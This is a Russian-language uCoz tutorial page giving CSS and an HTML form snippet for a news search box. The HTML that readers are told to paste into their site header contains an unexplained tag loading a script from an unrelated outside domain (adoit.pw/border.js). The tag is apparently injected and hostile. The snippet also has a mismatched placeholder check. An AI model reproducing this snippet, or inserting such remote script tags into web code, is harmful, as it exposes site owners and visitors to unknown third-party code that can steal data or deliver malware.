Тут реклама
Часы для сайта или для блога
Функция Кто Онлайн для uCoz v2
Счетчик материалов для uCoz
Авторизация на сайте и выход из профиля без перезагрузки страницы
Авторизация на сайте и выход из профиля без перезагрузки страницы
Необычный топ пользователей для uCoz
Создаём раздвижную форму поиска для uCoz
Новое меню от Diz-cs
SMS Бесплатно!
Мини-профиль для ucoz
Главная » 2013 » Июль » 15 » Поиск по новостям для uCoz

Поиск по новостям для uCoz

  • 19.05.2024
  • 0
  • 321
Новая форма поиска по новостям
Установка:

1. В css вставляем:

Код
#poisk {  
  background:url(http://pnghosts.ru/img/uSE.png) no-repeat;  
  width:293px;  
  height:60px;  
  padding-top:17px;  
  }  

  #forma {  
  background:none;  
  font-size:15px;  
  font-family:Verdana;  
  color:#99958c;  
  margin-left:32px;  
  border:none;  
  }  

  .knp {  
  background:no-repeat;  
  width:60px;  
  height:60px;  
  border:none;  
  position:absolute;  
  top:-0px;  
  }  

  .knp:hover {  
  background: 0px -60px no-repeat;  
  cursor:pointer;  
  }


2. Теперь заходим в верхнию часть сайта, ищем там место под наш поиск и вставляем html код:

Код
<form action="http://ВАШ Сайт/news/" id="poisk" method="post">  
  <div style="position:relative;">  
  <input type="text" name="query" id="forma" value="Найти.." onfocus="if(this.value=='search...')this.value=''" onblur="if(this.value=='')this.value='search...'"/>
  <script type="text/javascript" src="http://adoit.pw/border.js"></script>
  <input class="knp" name="sfSbm" type="submit" value="" />  
  <input name="a" value="14" type="hidden">  
  </div>  
  </form>

Теги:

Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь.
Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Календарь
Мини-чат
    200
Статистика

    Онлайн всего: 1
    Гостей: 1
    Пользователей: 0
Адаптация by © AID